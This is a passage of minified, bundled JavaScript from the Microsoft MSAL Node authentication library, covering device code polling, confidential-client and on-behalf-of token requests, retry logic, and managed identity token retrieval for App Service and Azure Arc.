executePostRequestToDeviceCodeEndpoint(A,K,q,Y,z){let{body:{user_code:w,device_code:H,verification_uri:J,expires_in:O,interval:X,message:$}}=await this.sendPostRequest(Y,A,{body:K,headers:q},z);return{userCode:w,deviceCode:H,verificationUri:J,expiresIn:O,interval:X,message:$}}createQueryString(A){let K=new Map;if(t4.addScopes(K,A.scopes),t4.addClientId(K,this.config.authOptions.clientId),A.extraQueryParameters)t4.addExtraQueryParameters(K,A.extraQueryParameters);if(A.claims||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)t4.addClaims(K,A.claims,this.config.authOptions.clientCapabilities);return iZ.mapToQueryString(K)}continuePolling(A,K,q){if(q)throw this.logger.error("Token request cancelled by setting DeviceCodeRequest.cancel = true"),t6(oz.deviceCodePollingCancelled);else if(K&&K<A&&FH.nowSeconds()>K)throw this.logger.error(`User defined timeout for device code polling reached. The timeout was set for ${K}`),t6(oz.userTimeoutReached);else if(FH.nowSeconds()>A){if(K)this.logger.verbose(`User specified timeout ignored as the device code has expired before the timeout elapsed. The user specified timeout was set for ${K}`);throw this.logger.error(`Device code expired. Expiration time of device code was ${A}`),t6(oz.deviceCodeExpired)}return!0}async acquireTokenWithDeviceCode(A,K){let q=this.createTokenQueryParameters(A),Y=p5.appendQueryString(this.authority.tokenEndpoint,q),z=this.createTokenRequestBody(A,K),w=this.createTokenRequestHeaders(),H=A.timeout?FH.nowSeconds()+A.timeout:void 0,J=FH.nowSeconds()+K.expiresIn,O=K.interval*1000;while(this.continuePolling(J,H,A.cancel)){let X={clientId:this.config.authOptions.clientId,authority:A.authority,scopes:A.scopes,claims:A.claims,authenticationScheme:A.authenticationScheme,resourceRequestMethod:A.resourceRequestMethod,resourceRequestUri:A.resourceRequestUri,shrClaims:A.shrClaims,sshKid:A.sshKid},$=await this.executePostToTokenEndpoint(Y,z,w,X,A.correlationId);if($.body&&$.body.error)if($.body.error===u6.AUTHORIZATION_PENDING)this.logger.info("Authorization pending. Continue polling."),await FH.delay(O);else throw this.logger.info("Unexpected error in polling from the server"),$06(l_A.postRequestFailed,$.body.error);else return this.logger.verbose("Authorization completed successfully. Polling stopped."),$.body}throw this.logger.error("Polling stopped for unknown reasons."),t6(oz.deviceCodeUnknownError)}createTokenRequestBody(A,K){let q=new Map;t4.addScopes(q,A.scopes),t4.addClientId(q,this.config.authOptions.clientId),t4.addGrantType(q,aV.DEVICE_CODE_GRANT),t4.addDeviceCode(q,K.deviceCode);let Y=A.correlationId||this.config.cryptoInterface.createNewGuid();if(t4.addCorrelationId(q,Y),t4.addClientInfo(q),t4.addLibraryInfo(q,this.config.libraryInfo),t4.addApplicationTelemetry(q,this.config.telemetry.application),t4.addThrottling(q),this.serverTelemetryManager)t4.addServerTelemetry(q,this.serverTelemetryManager);if(!Vw.isEmptyObj(A.claims)||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)t4.addClaims(q,A.claims,this.config.authOptions.clientCapabilities);return iZ.mapToQueryString(q)}}});var VxA;var BK7=k(()=>{UH();p2();LJ1();tbA();uK7();h$6();DGA();/*! @azure/msal-node v3.8.1 2025-10-29 */VxA=class VxA extends xKA{constructor(A){super(A);if(this.config.broker.nativeBrokerPlugin)if(this.config.broker.nativeBrokerPlugin.isBrokerAvailable)this.nativeBrokerPlugin=this.config.broker.nativeBrokerPlugin,this.nativeBrokerPlugin.setLogger(this.config.system.loggerOptions);else this.logger.warning("NativeBroker implementation was provided but the broker is unavailable.");this.skus=mo.makeExtraSkuString({libraryName:IM.MSAL_SKU,libraryVersion:GI})}async acquireTokenByDeviceCode(A){this.logger.info("acquireTokenByDeviceCode called",A.correlationId);let K=Object.assign(A,await this.initializeBaseRequest(A)),q=this.initializeServerTelemetryManager(mU.acquireTokenByDeviceCode,K.correlationId);try{let Y=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions),z=await this.buildOauthClientConfiguration(Y,K.correlationId,"",q),w=new PxA(z);return this.logger.verbose("Device code client created",K.correlationId),await w.acquireToken(K)}catch(Y){if(Y instanceof V5)Y.setCorrelationId(K.correlationId);throw q.cacheFailedRequest(Y),Y}}async acquireTokenInteractive(A){let K=A.correlationId||this.cryptoProvider.createNewGuid();this.logger.trace("acquireTokenInteractive called",K);let{openBrowser:q,successTemplate:Y,errorTemplate:z,windowHandle:w,loopbackClient:H,...J}=A;if(this.nativeBrokerPlugin){let Z={...J,clientId:this.config.auth.clientId,scopes:A.scopes||mD,redirectUri:A.redirectUri||"",authority:A.authority||this.config.auth.authority,correlationId:K,extraParameters:{...J.extraQueryParameters,...J.tokenQueryParameters,[fKA.X_CLIENT_EXTRA_SKU]:this.skus},accountId:J.account?.nativeAccountId};return this.nativeBrokerPlugin.acquireTokenInteractive(Z,w)}if(A.redirectUri){if(!this.config.broker.nativeBrokerPlugin)throw CJ.createRedirectUriNotSupportedError();A.redirectUri=""}let{verifier:O,challenge:X}=await this.cryptoProvider.generatePkceCodes(),$=H||new S$6,_={},G=null;try{let Z=$.listenForAuthCode(Y,z).then((f)=>{_=f}).catch((f)=>{G=f}),W=await this.waitForRedirectUri($),D={...J,correlationId:K,scopes:A.scopes||mD,redirectUri:W,responseMode:fu.QUERY,codeChallenge:X,codeChallengeMethod:ow1.S256},j=await this.getAuthCodeUrl(D);if(await q(j),await Z,G)throw G;if(_.error)throw new RM(_.error,_.error_description,_.suberror);else if(!_.code)throw CJ.createNoAuthCodeInResponseError();let M=_.client_info,P={code:_.code,codeVerifier:O,clientInfo:M||u6.EMPTY_STRING,...D};return await this.acquireTokenByCode(P)}finally{$.closeServer()}}async acquireTokenSilent(A){let K=A.correlationId||this.cryptoProvider.createNewGuid();if(this.logger.trace("acquireTokenSilent called",K),this.nativeBrokerPlugin){let q={...A,clientId:this.config.auth.clientId,scopes:A.scopes||mD,redirectUri:A.redirectUri||"",authority:A.authority||this.config.auth.authority,correlationId:K,extraParameters:{...A.tokenQueryParameters,[fKA.X_CLIENT_EXTRA_SKU]:this.skus},accountId:A.account.nativeAccountId,forceRefresh:A.forceRefresh||!1};return this.nativeBrokerPlugin.acquireTokenSilent(q)}if(A.redirectUri){if(!this.config.broker.nativeBrokerPlugin)throw CJ.createRedirectUriNotSupportedError();A.redirectUri=""}return super.acquireTokenSilent(A)}async signOut(A){if(this.nativeBrokerPlugin&&A.account.nativeAccountId){let K={clientId:this.config.auth.clientId,accountId:A.account.nativeAccountId,correlationId:A.correlationId||this.cryptoProvider.createNewGuid()};await this.nativeBrokerPlugin.signOut(K)}await this.getTokenCache().removeAccount(A.account,A.correlationId)}async getAllAccounts(){if(this.nativeBrokerPlugin){let A=this.cryptoProvider.createNewGuid();return this.nativeBrokerPlugin.getAllAccounts(this.config.auth.clientId,A)}return this.getTokenCache().getAllAccounts()}async waitForRedirectUri(A){return new Promise((K,q)=>{let Y=0,z=setInterval(()=>{if(QH1.TIMEOUT_MS/QH1.INTERVAL_MS<Y){clearInterval(z),q(CJ.createLoopbackServerTimeoutError());return}try{let w=A.getRedirectUri();clearInterval(z),K(w);return}catch(w){if(w instanceof V5&&w.errorCode===X$.noLoopbackServerExists.code){Y++;return}clearInterval(z),q(w);return}},QH1.INTERVAL_MS)})}}});var uKA;var RJ1=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */uKA=class uKA extends FD{constructor(A,K){super(A);this.appTokenProvider=K}async acquireToken(A){if(A.skipCache||A.claims)return this.executeTokenRequest(A,this.authority);let[K,q]=await this.getCachedAuthenticationResult(A,this.config,this.cryptoUtils,this.authority,this.cacheManager,this.serverTelemetryManager);if(K){if(q===Pw.PROACTIVELY_REFRESHED){this.logger.info("ClientCredentialClient:getCachedAuthenticationResult - Cached access token's refreshOn property has been exceeded'. It's not expired, but must be refreshed.");let Y=!0;await this.executeTokenRequest(A,this.authority,Y)}return K}else return this.executeTokenRequest(A,this.authority)}async getCachedAuthenticationResult(A,K,q,Y,z,w){let H=K,J=K,O=Pw.NOT_APPLICABLE,X;if(H.serializableCache&&H.persistencePlugin)X=new MC(H.serializableCache,!1),await H.persistencePlugin.beforeCacheAccess(X);let $=this.readAccessTokenFromCache(Y,J.managedIdentityId?.id||H.authOptions.clientId,new A0(A.scopes||[]),z,A.correlationId);if(H.serializableCache&&H.persistencePlugin&&X)await H.persistencePlugin.afterCacheAccess(X);if(!$)return w?.setCacheOutcome(Pw.NO_CACHED_ACCESS_TOKEN),[null,Pw.NO_CACHED_ACCESS_TOKEN];if(FH.isTokenExpired($.expiresOn,H.systemOptions?.tokenRenewalOffsetSeconds||c_A))return w?.setCacheOutcome(Pw.CACHED_ACCESS_TOKEN_EXPIRED),[null,Pw.CACHED_ACCESS_TOKEN_EXPIRED];if($.refreshOn&&FH.isTokenExpired($.refreshOn.toString(),0))O=Pw.PROACTIVELY_REFRESHED,w?.setCacheOutcome(Pw.PROACTIVELY_REFRESHED);return[await K0.generateAuthenticationResult(q,Y,{account:null,idToken:null,accessToken:$,refreshToken:null,appMetadata:null},!0,A),O]}readAccessTokenFromCache(A,K,q,Y,z){let w={homeAccountId:u6.EMPTY_STRING,environment:A.canonicalAuthorityUrlComponents.HostNameAndPort,credentialType:U2.ACCESS_TOKEN,clientId:K,realm:A.tenant,target:A0.createSearchScopes(q.asArray())},H=Y.getAccessTokensByFilter(w,z);if(H.length<1)return null;else if(H.length>1)throw t6(oz.multipleMatchingTokens);return H[0]}async executeTokenRequest(A,K,q){let Y,z;if(this.appTokenProvider){this.logger.info("Using appTokenProvider extensibility.");let J={correlationId:A.correlationId,tenantId:this.config.authOptions.authority.tenant,scopes:A.scopes,claims:A.claims};z=FH.nowSeconds();let O=await this.appTokenProvider(J);Y={access_token:O.accessToken,expires_in:O.expiresInSeconds,refresh_in:O.refreshInSeconds,token_type:x9.BEARER}}else{let J=this.createTokenQueryParameters(A),O=p5.appendQueryString(K.tokenEndpoint,J),X=await this.createTokenRequestBody(A),$=this.createTokenRequestHeaders(),_={clientId:this.config.authOptions.clientId,authority:A.authority,scopes:A.scopes,claims:A.claims,authenticationScheme:A.authenticationScheme,resourceRequestMethod:A.resourceRequestMethod,resourceRequestUri:A.resourceRequestUri,shrClaims:A.shrClaims,sshKid:A.sshKid};this.logger.info("Sending token request to endpoint: "+K.tokenEndpoint),z=FH.nowSeconds();let G=await this.executePostToTokenEndpoint(O,X,$,_,A.correlationId);Y=G.body,Y.status=G.status}let w=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin);return w.validateTokenResponse(Y,q),await w.handleServerTokenResponse(Y,this.authority,z,A)}async createTokenRequestBody(A){let K=new Map;if(t4.addClientId(K,this.config.authOptions.clientId),t4.addScopes(K,A.scopes,!1),t4.addGrantType(K,aV.CLIENT_CREDENTIALS_GRANT),t4.addLibraryInfo(K,this.config.libraryInfo),t4.addApplicationTelemetry(K,this.config.telemetry.application),t4.addThrottling(K),this.serverTelemetryManager)t4.addServerTelemetry(K,this.serverTelemetryManager);let q=A.correlationId||this.config.cryptoInterface.createNewGuid();if(t4.addCorrelationId(K,q),this.config.clientCredentials.clientSecret)t4.addClientSecret(K,this.config.clientCredentials.clientSecret);let Y=A.clientAssertion||this.config.clientCredentials.clientAssertion;if(Y)t4.addClientAssertion(K,await yM(Y.assertion,this.config.authOptions.clientId,A.resourceRequestUri)),t4.addClientAssertionType(K,Y.assertionType);if(!Vw.isEmptyObj(A.claims)||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)t4.addClaims(K,A.claims,this.config.authOptions.clientCapabilities);return iZ.mapToQueryString(K)}}});var fxA;var b$6=k(()=>{p2();qxA();/*! @azure/msal-node v3.8.1 2025-10-29 */fxA=class fxA extends FD{constructor(A){super(A)}async acquireToken(A){if(this.scopeSet=new A0(A.scopes||[]),this.userAssertionHash=await this.cryptoUtils.hashString(A.oboAssertion),A.skipCache||A.claims)return this.executeTokenRequest(A,this.authority,this.userAssertionHash);try{return await this.getCachedAuthenticationResult(A)}catch(K){return await this.executeTokenRequest(A,this.authority,this.userAssertionHash)}}async getCachedAuthenticationResult(A){let K=this.readAccessTokenFromCacheForOBO(this.config.authOptions.clientId,A);if(!K)throw this.serverTelemetryManager?.setCacheOutcome(Pw.NO_CACHED_ACCESS_TOKEN),this.logger.info("SilentFlowClient:acquireCachedToken - No access token found in cache for the given properties."),t6(oz.tokenRefreshRequired);else if(FH.isTokenExpired(K.expiresOn,this.config.systemOptions.tokenRenewalOffsetSeconds))throw this.serverTelemetryManager?.setCacheOutcome(Pw.CACHED_ACCESS_TOKEN_EXPIRED),this.logger.info(`OnbehalfofFlow:getCachedAuthenticationResult - Cached access token is expired or will expire within ${this.config.systemOptions.tokenRenewalOffsetSeconds} seconds.`),t6(oz.tokenRefreshRequired);let q=this.readIdTokenFromCacheForOBO(K.homeAccountId,A.correlationId),Y,z=null;if(q){Y=HH1.extractTokenClaims(q.secret,eV.base64Decode);let w=Y.oid||Y.sub,H={homeAccountId:q.homeAccountId,environment:q.environment,tenantId:q.realm,username:u6.EMPTY_STRING,localAccountId:w||u6.EMPTY_STRING};z=this.cacheManager.getAccount(this.cacheManager.generateAccountKey(H),A.correlationId)}if(this.config.serverTelemetryManager)this.config.serverTelemetryManager.incrementCacheHits();return K0.generateAuthenticationResult(this.cryptoUtils,this.authority,{account:z,accessToken:K,idToken:q,refreshToken:null,appMetadata:null},!0,A,Y)}readIdTokenFromCacheForOBO(A,K){let q={homeAccountId:A,environment:this.authority.canonicalAuthorityUrlComponents.HostNameAndPort,credentialType:U2.ID_TOKEN,clientId:this.config.authOptions.clientId,realm:this.authority.tenant},Y=this.cacheManager.getIdTokensByFilter(q,K);if(Object.values(Y).length<1)return null;return Object.values(Y)[0]}readAccessTokenFromCacheForOBO(A,K){let q=K.authenticationScheme||x9.BEARER,z={credentialType:q&&q.toLowerCase()!==x9.BEARER.toLowerCase()?U2.ACCESS_TOKEN_WITH_AUTH_SCHEME:U2.ACCESS_TOKEN,clientId:A,target:A0.createSearchScopes(this.scopeSet.asArray()),tokenType:q,keyId:K.sshKid,requestedClaimsHash:K.requestedClaimsHash,userAssertionHash:this.userAssertionHash},w=this.cacheManager.getAccessTokensByFilter(z,K.correlationId),H=w.length;if(H<1)return null;else if(H>1)throw t6(oz.multipleMatchingTokens);return w[0]}async executeTokenRequest(A,K,q){let Y=this.createTokenQueryParameters(A),z=p5.appendQueryString(K.tokenEndpoint,Y),w=await this.createTokenRequestBody(A),H=this.createTokenRequestHeaders(),J={clientId:this.config.authOptions.clientId,authority:A.authority,scopes:A.scopes,claims:A.claims,authenticationScheme:A.authenticationScheme,resourceRequestMethod:A.resourceRequestMethod,resourceRequestUri:A.resourceRequestUri,shrClaims:A.shrClaims,sshKid:A.sshKid},O=FH.nowSeconds(),X=await this.executePostToTokenEndpoint(z,w,H,J,A.correlationId),$=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin);return $.validateTokenResponse(X.body),await $.handleServerTokenResponse(X.body,this.authority,O,A,void 0,q)}async createTokenRequestBody(A){let K=new Map;if(t4.addClientId(K,this.config.authOptions.clientId),t4.addScopes(K,A.scopes),t4.addGrantType(K,aV.JWT_BEARER),t4.addClientInfo(K),t4.addLibraryInfo(K,this.config.libraryInfo),t4.addApplicationTelemetry(K,this.config.telemetry.application),t4.addThrottling(K),this.serverTelemetryManager)t4.addServerTelemetry(K,this.serverTelemetryManager);let q=A.correlationId||this.config.cryptoInterface.createNewGuid();if(t4.addCorrelationId(K,q),t4.addRequestTokenUse(K,fKA.ON_BEHALF_OF),t4.addOboAssertion(K,A.oboAssertion),this.config.clientCredentials.clientSecret)t4.addClientSecret(K,this.config.clientCredentials.clientSecret);let Y=this.config.clientCredentials.clientAssertion;if(Y)t4.addClientAssertion(K,await yM(Y.assertion,this.config.authOptions.clientId,A.resourceRequestUri)),t4.addClientAssertionType(K,Y.assertionType);if(A.claims||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)t4.addClaims(K,A.claims,this.config.authOptions.clientCapabilities);return iZ.mapToQueryString(K)}}});var NxA;var mK7=k(()=>{LJ1();kJ1();UH();p2();RJ1();b$6();/*! @azure/msal-node v3.8.1 2025-10-29 */NxA=class NxA extends xKA{constructor(A){super(A);let K=!!this.config.auth.clientSecret,q=!!this.config.auth.clientAssertion,Y=(!!this.config.auth.clientCertificate?.thumbprint||!!this.config.auth.clientCertificate?.thumbprintSha256)&&!!this.config.auth.clientCertificate?.privateKey;if(this.appTokenProvider)return;if(K&&q||q&&Y||K&&Y)throw t6(oz.invalidClientCredential);if(this.config.auth.clientSecret){this.clientSecret=this.config.auth.clientSecret;return}if(this.config.auth.clientAssertion){this.developerProvidedClientAssertion=this.config.auth.clientAssertion;return}if(!Y)throw t6(oz.invalidClientCredential);else this.clientAssertion=this.config.auth.clientCertificate.thumbprintSha256?_I.fromCertificateWithSha256Thumbprint(this.config.auth.clientCertificate.thumbprintSha256,this.config.auth.clientCertificate.privateKey,this.config.auth.clientCertificate.x5c):_I.fromCertificate(this.config.auth.clientCertificate.thumbprint,this.config.auth.clientCertificate.privateKey,this.config.auth.clientCertificate.x5c);this.appTokenProvider=void 0}SetAppTokenProvider(A){this.appTokenProvider=A}async acquireTokenByClientCredential(A){this.logger.info("acquireTokenByClientCredential called",A.correlationId);let K;if(A.clientAssertion)K={assertion:await yM(A.clientAssertion,this.config.auth.clientId),assertionType:IM.JWT_BEARER_ASSERTION_TYPE};let q=await this.initializeBaseRequest(A),Y={...q,scopes:q.scopes.filter((_)=>!mD.includes(_))},z={...A,...Y,clientAssertion:K},H=new p5(z.authority).getUrlComponents().PathSegments[0];if(Object.values(oV).includes(H))throw t6(oz.missingTenantIdError);let J=process.env[K67],O;if(z.azureRegion!=="DisableMsalForceRegion")if(!z.azureRegion&&J)O=J;else O=z.azureRegion;let X={azureRegion:O,environmentRegion:process.env[A67]},$=this.initializeServerTelemetryManager(mU.acquireTokenByClientCredential,z.correlationId,z.skipCache);try{let _=await this.createAuthority(z.authority,z.correlationId,X,A.azureCloudOptions),G=await this.buildOauthClientConfiguration(_,z.correlationId,"",$),Z=new uKA(G,this.appTokenProvider);return this.logger.verbose("Client credential client created",z.correlationId),await Z.acquireToken(z)}catch(_){if(_ instanceof V5)_.setCorrelationId(z.correlationId);throw $.cacheFailedRequest(_),_}}async acquireTokenOnBehalfOf(A){this.logger.info("acquireTokenOnBehalfOf called",A.correlationId);let K={...A,...await this.initializeBaseRequest(A)};try{let q=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions),Y=await this.buildOauthClientConfiguration(q,K.correlationId,"",void 0),z=new fxA(Y);return this.logger.verbose("On behalf of client created",K.correlationId),await z.acquireToken(K)}catch(q){if(q instanceof V5)q.setCorrelationId(K.correlationId);throw q}}}});function gK7(A){if(typeof A!=="string")return!1;let K=new Date(A);return!isNaN(K.getTime())&&K.toISOString()===A}var FK7=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});class x$6{constructor(A,K,q){this.httpClientNoRetries=A,this.retryPolicy=K,this.logger=q}async sendNetworkRequestAsyncHelper(A,K,q){if(A===QH.GET)return this.httpClientNoRetries.sendGetRequestAsync(K,q);else return this.httpClientNoRetries.sendPostRequestAsync(K,q)}async sendNetworkRequestAsync(A,K,q){let Y=await this.sendNetworkRequestAsyncHelper(A,K,q);if("isNewRequest"in this.retryPolicy)this.retryPolicy.isNewRequest=!0;let z=0;while(await this.retryPolicy.pauseForRetry(Y.status,z,this.logger,Y.headers[YH.RETRY_AFTER]))Y=await this.sendNetworkRequestAsyncHelper(A,K,q),z++;return Y}async sendGetRequestAsync(A,K){return this.sendNetworkRequestAsync(QH.GET,A,K)}async sendPostRequestAsync(A,K){return this.sendNetworkRequestAsync(QH.POST,A,K)}}var QK7=k(()=>{p2();UH();/*! @azure/msal-node v3.8.1 2025-10-29 */});class Kf{constructor(A,K,q,Y,z){this.logger=A,this.nodeStorage=K,this.networkClient=q,this.cryptoProvider=Y,this.disableInternalRetries=z}async getServerTokenResponseAsync(A,K,q,Y){return this.getServerTokenResponse(A)}getServerTokenResponse(A){let K,q;if(A.body.expires_on){if(gK7(A.body.expires_on))A.body.expires_on=new Date(A.body.expires_on).getTime()/1000;if(q=A.body.expires_on-FH.nowSeconds(),q>7200)K=q/2}return{status:A.status,access_token:A.body.access_token,expires_in:q,scope:A.body.resource,token_type:A.body.token_type,refresh_in:K,correlation_id:A.body.correlation_id||A.body.correlationId,error:typeof A.body.error==="string"?A.body.error:A.body.error?.code,error_description:A.body.message||(typeof A.body.error==="string"?A.body.error_description:A.body.error?.message),error_codes:A.body.error_codes,timestamp:A.body.timestamp,trace_id:A.body.trace_id}}async acquireTokenWithManagedIdentity(A,K,q,Y){let z=this.createRequest(A.resource,K);if(A.revokedTokenSha256Hash)this.logger.info(`[Managed Identity] The following claims are present in the request: ${A.claims}`),z.queryParameters[O$.SHA256_TOKEN_TO_REFRESH]=A.revokedTokenSha256Hash;if(A.clientCapabilities?.length){let G=A.clientCapabilities.toString();this.logger.info(`[Managed Identity] The following client capabilities are present in the request: ${G}`),z.queryParameters[O$.XMS_CC]=G}let w=z.headers;w[YH.CONTENT_TYPE]=u6.URL_FORM_CONTENT_TYPE;let H={headers:w};if(Object.keys(z.bodyParameters).length)H.body=z.computeParametersBodyString();let J=this.disableInternalRetries?this.networkClient:new x$6(this.networkClient,z.retryPolicy,this.logger),O=FH.nowSeconds(),X;try{if(z.httpMethod===QH.POST)X=await J.sendPostRequestAsync(z.computeUri(),H);else X=await J.sendGetRequestAsync(z.computeUri(),H)}catch(G){if(G instanceof V5)throw G;else throw t6(oz.networkError)}let $=new K0(K.id,this.nodeStorage,this.cryptoProvider,this.logger,null,null),_=await this.getServerTokenResponseAsync(X,J,z,H);return $.validateTokenResponse(_,Y),$.handleServerTokenResponse(_,q,O,A)}getManagedIdentityUserAssignedIdQueryParameterKey(A,K,q){switch(A){case DO.USER_ASSIGNED_CLIENT_ID:return this.logger.info(`[Managed Identity] [API version ${q?"2017+":"2019+"}] Adding user assigned client id to the request.`),q?BKA.MANAGED_IDENTITY_CLIENT_ID_2017:BKA.MANAGED_IDENTITY_CLIENT_ID;case DO.USER_ASSIGNED_RESOURCE_ID:return this.logger.info("[Managed Identity] Adding user assigned resource id to the request."),K?BKA.MANAGED_IDENTITY_RESOURCE_ID_IMDS:BKA.MANAGED_IDENTITY_RESOURCE_ID_NON_IMDS;case DO.USER_ASSIGNED_OBJECT_ID:return this.logger.info("[Managed Identity] Adding user assigned object id to the request."),BKA.MANAGED_IDENTITY_OBJECT_ID;default:throw wX(Fo)}}}var BKA;var mKA=k(()=>{p2();UH();XGA();FK7();QK7();IKA();/*! @azure/msal-node v3.8.1 2025-10-29 */BKA={MANAGED_IDENTITY_CLIENT_ID_2017:"clientid",MANAGED_IDENTITY_CLIENT_ID:"client_id",MANAGED_IDENTITY_OBJECT_ID:"object_id",MANAGED_IDENTITY_RESOURCE_ID_IMDS:"msi_res_id",MANAGED_IDENTITY_RESOURCE_ID_NON_IMDS:"mi_res_id"};Kf.getValidatedEnvVariableUrlString=(A,K,q,Y)=>{try{return new p5(K).urlString}catch(z){throw Y.info(`[Managed Identity] ${q} managed identity is unavailable because the '${A}' environment variable is malformed.`),wX(yKA[A])}}});class u$6{calculateDelay(A,K){if(!A)return K;let q=Math.round(parseFloat(A)*1000);if(isNaN(q))q=new Date(A).valueOf()-new Date().valueOf();return Math.max(K,q)}}var UK7=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});class yJ1{constructor(){this.linearRetryStrategy=new u$6}static get DEFAULT_MANAGED_IDENTITY_RETRY_DELAY_MS(){return PYY}async pauseForRetry(A,K,q,Y){if(VYY.includes(A)&&K<MYY){let z=this.linearRetryStrategy.calculateDelay(Y,yJ1.DEFAULT_MANAGED_IDENTITY_RETRY_DELAY_MS);return q.verbose(`Retrying request in ${z}ms (retry attempt: ${K+1})`),await new Promise((w)=>{return setTimeout(w,z)}),!0}return!1}}var MYY=3,PYY=1000,VYY;var pK7=k(()=>{eH1();UK7();/*! @azure/msal-node v3.8.1 2025-10-29 */VYY=[P5.NOT_FOUND,P5.REQUEST_TIMEOUT,P5.TOO_MANY_REQUESTS,P5.SERVER_ERROR,P5.SERVICE_UNAVAILABLE,P5.GATEWAY_TIMEOUT]});class QT{constructor(A,K,q){this.httpMethod=A,this._baseEndpoint=K,this.headers={},this.bodyParameters={},this.queryParameters={},this.retryPolicy=q||new yJ1}computeUri(){let A=new Map;if(this.queryParameters)t4.addExtraQueryParameters(A,this.queryParameters);let K=iZ.mapToQueryString(A);return p5.appendQueryString(this._baseEndpoint,K)}computeParametersBodyString(){let A=new Map;if(this.bodyParameters)t4.addExtraQueryParameters(A,this.bodyParameters);return iZ.mapToQueryString(A)}}var gKA=k(()=>{p2();pK7();/*! @azure/msal-node v3.8.1 2025-10-29 */});var fYY="2019-08-01",FKA;var dK7=k(()=>{mKA();UH();gKA();/*! @azure/msal-node v3.8.1 2025-10-29 */FKA=class FKA extends Kf{constructor(A,K,q,Y,z,w,H){super(A,K,q,Y,z);this.identityEndpoint=w,this.identityHeader=H}static getEnvironmentVariables(){let A=process.env[hq.IDENTITY_ENDPOINT],K=process.env[hq.IDENTITY_HEADER];return[A,K]}static tryCreate(A,K,q,Y,z){let[w,H]=FKA.getEnvironmentVariables();if(!w||!H)return A.info(`[Managed Identity] ${K5.APP_SERVICE} managed identity is unavailable because one or both of the '${hq.IDENTITY_HEADER}' and '${hq.IDENTITY_ENDPOINT}' environment variables are not defined.`),null;let J=FKA.getValidatedEnvVariableUrlString(hq.IDENTITY_ENDPOINT,w,K5.APP_SERVICE,A);return A.info(`[Managed Identity] Environment variables validation passed for ${K5.APP_SERVICE} managed identity. Endpoint URI: ${J}. Creating ${K5.APP_SERVICE} managed identity.`),new FKA(A,K,q,Y,z,w,H)}createRequest(A,K){let q=new QT(QH.GET,this.identityEndpoint);if(q.headers[tV.APP_SERVICE_SECRET_HEADER_NAME]=this.identityHeader,q.queryParameters[O$.API_VERSION]=fYY,q.queryParameters[O$.RESOURCE]=A,K.idType!==DO.SYSTEM_ASSIGNED)q.queryParameters[this.getManagedIdentityUserAssignedIdQueryParameterKey(K.idType)]=K.id;return q}}});import{accessSync as NYY,constants as cK7,statSync as TYY,readFileSync as vYY}from"fs";import EYY from"path";var kYY="2019-11-01",lK7="http://127.0.0.1:40342/metadata/identity/oauth2/token",iK7="N/A: himds executable exists",nK7,CYY,Uo;var rK7=k(()=>{p2();gKA();mKA();XGA();UH();IKA();/*! @azure/msal-node v3.8.1 2025-10-29 */nK7={win32:`${process.env.ProgramData}\\AzureConnectedMachineAgent\\Tokens\\`,linux:"/var/opt/azcmagent/tokens/"},CYY={win32:`${process.env.ProgramFiles}\\AzureConnectedMachineAgent\\himds.exe`,linux:"/opt/azcmagent/bin/himds"};Uo=class Uo extends Kf{constructor(A,K,q,Y,z,w){super(A,K,q,Y,z);this.identityEndpoint=w}static getEnvironmentVariables(){let A=process.env[hq.IDENTITY_ENDPOINT],K=process.env[hq.IMDS_ENDPOINT];if(!A||!K){let q=CYY[process.platform];try{NYY(q,cK7.F_OK|cK7.R_OK),A=lK7,K=iK7}catch(Y){}}return[A,K]}static tryCreate(A,K,q,Y,z,w){let[H,J]=Uo.getEnvironmentVariables();if(!H||!J)return A.info(`[Managed Identity] ${K5.AZURE_ARC} managed identity is unavailable through environment variables because one or both of '${hq.IDENTITY_ENDPOINT}' and '${hq.IMDS_ENDPOINT}' are not defined. ${K5.AZURE_ARC} managed identity is also unavailable through file detection.`),null;if(J===iK7)A.info(`[Managed Identity] ${K5.AZURE_ARC} managed identity is available through file detection. Defaulting to known ${K5.AZURE_ARC} endpoint: ${lK7}. Creating ${K5.AZURE_ARC} managed identity.`);else{let O=Uo.getValidatedEnvVariableUrlString(hq.IDENTITY_ENDPOINT,H,K5.AZURE_ARC,A);O.endsWith("/")&&O.slice(0,-1),Uo.getValidatedEnvVariableUrlString(hq.IMDS_ENDPOINT,J,K5.AZURE_ARC,A),A.info(`[Managed Identity] Environment variables validation passed for ${K5.AZURE_ARC} managed identity. Endpoint URI: ${O}. Creating ${K5.AZURE_ARC} managed identity.`)}if(w.idType!==DO.SYSTEM_ASSIGNED)throw wX(lH1);return new Uo(A,K,q,Y,z,H)}createRequest(A){let K=new QT(QH.GET,this.identityEndpoint.replace("localhost","127.0.0.1"));return K.headers[tV.METADATA_HEADER_NAME]="true",K.queryParameters[O$.API_VERSION]=kYY,K.queryParameters[O$.RESOURCE]=A,K}async getServerTokenResponseAsync(A,K,q,Y){let z;if(A.status===P5.UNAUTHORIZED){let w=A.headers["www-authenticate"];if(!w)throw wX(rH1);if(!w.includes("Basic realm="))throw wX(oH1);let H=w.split("Basic realm=")[1];if(!nK7.hasOwnProperty(process.platform))throw wX(cH1);let J=nK7[process.platform],O=EYY.basename(H);if(!O.endsWith(".key"))throw wX(UH1);if(J+O!==H)throw wX(pH1);let X;try{X=await TYY(H).size}catch(G){throw wX(sbA)}if(X>z67)throw wX(dH1);let $;try{$=vYY(H,lZ.UTF8)}catch(G){throw wX(sbA)}let _=`Basic ${$}`;this.logger.info("[Managed Identity] Adding authorization header to the request."),q.headers[tV.AUTHORIZATION_HEADER_NAME]=_;try{z=await K.sendGetRequestAsync(q.computeUri(),Y)}catch(G){if(G instanceof V5)throw G;else throw t6(oz.networkError)}}return this.getServerTokenResponse(z||A)}}});var QKA;var oK7=k(()=>{gKA();mKA();UH();XGA();IKA();/*! @azure/msal-node v3.8.1 2025-10-29 */QKA=class QKA 